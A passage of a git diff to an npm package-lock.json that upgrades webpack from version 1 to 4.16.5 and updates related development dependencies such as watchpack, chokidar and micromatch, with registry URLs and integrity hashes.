"sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", "dev": true }, "uuid": { @@ -13148,14 +16027,37 @@ "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", "dev": true }, - "validate-npm-package-license": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.1.tgz", - "integrity": "sha1-KAS6vnEq0zeUWaz74kdGqywwP7w=", + "v8-compile-cache": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.2.tgz", + "integrity": "sha512-1wFuMUIM16MDJRCrpbpuEPTUGmM5QMUg0cr3KFwra2XgOgFcPGDQHDh3CszSCD2Zewc/dh/pamNEW8CbfDebUw==", + "dev": true + }, + "v8flags": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-2.1.1.tgz", + "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", "dev": true, "requires": { - "spdx-correct": "1.0.2", - "spdx-expression-parse": "1.0.4" + "user-home": "1.1.1" + }, + "dependencies": { + "user-home": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz", + "integrity": "sha1-K1viOjK2Onyd640PKNSFcko98ZA=", + "dev": true + } + } + }, + "validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "requires": { + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" } }, "value-equal": { @@ -13164,15 +16066,9 @@ "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" }, "vary": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.1.tgz", - "integrity": "sha1-Z1Neu2lMHVIldFeYRmUyP1h+jTc=", - "dev": true - }, - "vendors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.1.tgz", - "integrity": "sha1-N61zyO5Bf7PVgOeFMSMH0nSEfyI=", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", "dev": true }, "verror": { @@ -13194,7 +16090,7 @@ "emitter-component": "1.1.1", "hammerjs": "2.0.8", "keycharm": "0.2.0", - "moment": "2.22.1", + "moment": "2.22.2", "propagating-hammerjs": "1.4.6" } }, @@ -13222,209 +16118,2665 @@ } }, "watchpack": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-0.2.9.tgz", - "integrity": "sha1-Yuqkq15bo1/fwBgnVibjwPXj+ws=", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.0.tgz", + "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", "dev": true, "requires": { - "async": "0.9.2", - "chokidar": "1.7.0", - "graceful-fs": "4.1.11" + "chokidar": "2.0.4", + "graceful-fs": "4.1.11", + "neo-async": "2.5.2" }, "dependencies": { - "async": { - "version": "0.9.2", - "resolved": "https://registry.npmjs.org/async/-/async-0.9.2.tgz", - "integrity": "sha1-rqdNXmHB+JlhO/ZL2mbUx48v0X0=", - "dev": true - } - } - }, - "webpack": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-1.15.0.tgz", - "integrity": "sha1-T/MfU9sDM55VFkqdRo7gMklo/pg=", - "dev": true, - "requires": { - "acorn": "3.3.0", - "async": "1.5.2", - "clone": "1.0.2", - "enhanced-resolve": "0.9.1", - "interpret": "0.6.6", - "loader-utils": "0.2.17", - "memory-fs": "0.3.0", - "mkdirp": "0.5.1", - "node-libs-browser": "0.7.0", - "optimist": "0.6.1", - "supports-color": "3.2.3", - "tapable": "0.1.10", - "uglify-js": "2.7.5", - "watchpack": "0.2.9", - "webpack-core": "0.6.9" - }, - "dependencies": { - "acorn": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", - "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", - "dev": true - }, - "interpret": { - "version": "0.6.6", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-0.6.6.tgz", - "integrity": "sha1-/s16GOfOXKar+5U+H4YhOknxYls=", - "dev": true - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "memory-fs": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.3.0.tgz", - "integrity": "sha1-e8xrYp46Q+hx1+Kaymrop/FcuyA=", + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "errno": "0.1.4", - "readable-stream": "2.3.3" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" } }, - "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", - "dev": true, - "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "1.0.7", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", - "util-deprecate": "1.0.2" - } + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true }, - "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", - "dev": true, - "requires": { - "safe-buffer": "5.1.1" - } + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true }, - "supports-color": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", - "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "has-flag": "1.0.0" - } - }, - "uglify-js": { - "version": "2.7.5", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.7.5.tgz", - "integrity": "sha1-RhLAx7qu4rp8SH3kkErhIgefLKg=", - "dev": true, - "requires": { - "async": "0.2.10", - "source-map": "0.5.6", - "uglify-to-browserify": "1.0.2", - "yargs": "3.10.0" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { - "async": { - "version": "0.2.10", - "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz", - "integrity": "sha1-trvgsGdLnXGXCMo43owjfLUmw9E=", + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "chokidar": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", + "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "dev": true, + "requires": { + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", "dev": true } } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fsevents": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", + "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "dev": true, + "optional": true, + "requires": { + "nan": "2.10.0", + "node-pre-gyp": "0.10.0" + }, + "dependencies": { + "abbrev": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + } + }, + "chownr": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ms": "2.0.0" + } + }, + "deep-extend": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "optional": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "detect-libc": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safer-buffer": "^2.1.0" + } + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minimatch": "3.0.4" + } + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true, + "dev": true + }, + "ini": { + "version": "1.3.5", + "bundled": true, + "dev": true, + "optional": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "number-is-nan": "1.0.1" + } + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "brace-expansion": "1.1.11" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true, + "dev": true + }, + "minipass": { + "version": "2.2.4", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.1.1", + "yallist": "^3.0.0" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "^2.2.1" + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "requires": { + "minimist": "0.0.8" + } + }, + "ms": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "needle": { + "version": "2.2.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "debug": "^2.1.2", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + } + }, + "node-pre-gyp": { + "version": "0.10.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.0", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.1.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "once": { + "version": "1.4.0", + "bundled": true, + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "rc": { + "version": "1.2.7", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "glob": "^7.0.5" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true, + "dev": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "optional": true + }, + "sax": { + "version": "1.2.4", + "bundled": true, + "dev": true, + "optional": true + }, + "semver": { + "version": "5.5.0", + "bundled": true, + "dev": true, + "optional": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "tar": { + "version": "4.4.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.2.4", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.1", + "yallist": "^3.0.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "string-width": "^1.0.2" + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "yallist": { + "version": "3.0.2", + "bundled": true, + "dev": true + } + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "requires": { + "is-glob": "3.1.0", + "path-dirname": "1.0.2" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-glob": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + }, + "nan": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", + "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "dev": true, + "optional": true } } }, - "webpack-core": { - "version": "0.6.9", - "resolved": "https://registry.npmjs.org/webpack-core/-/webpack-core-0.6.9.tgz", - "integrity": "sha1-/FcViMhVjad76e+23r3Fo7FyvcI=", + "wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", "dev": true, "requires": { - "source-list-map": "0.1.8", - "source-map": "0.4.4" + "minimalistic-assert": "1.0.1" + } + }, + "webpack": { + "version": "4.16.5", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.16.5.tgz", + "integrity": "sha512-i5cHYHonzSc1zBuwB5MSzW4v9cScZFbprkHK8ZgzPDCRkQXGGpYzPmJhbus5bOrZ0tXTcQp+xyImRSvKb0b+Kw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.5.13", + "@webassemblyjs/helper-module-context": "1.5.13", + "@webassemblyjs/wasm-edit": "1.5.13", + "@webassemblyjs/wasm-opt": "1.5.13", + "@webassemblyjs/wasm-parser": "1.5.13", + "acorn": "5.7.1", + "acorn-dynamic-import": "3.0.0", + "ajv": "6.5.2", + "ajv-keywords": "3.2.0", + "chrome-trace-event": "1.0.0", + "enhanced-resolve": "4.1.0", + "eslint-scope": "4.0.0", + "json-parse-better-errors": "1.0.2", + "loader-runner": "2.3.0", + "loader-utils": "1.1.0", + "memory-fs": "0.4.1", + "micromatch": "3.1.10", + "mkdirp": "0.5.1", + "neo-async": "2.5.2", + "node-libs-browser": "2.1.0", + "schema-utils": "0.4.7", + "tapable": "1.0.0", + "uglifyjs-webpack-plugin": "1.3.0", + "watchpack": "1.6.0", + "webpack-sources": "1.1.0" }, "dependencies": { - "source-map": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", - "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": 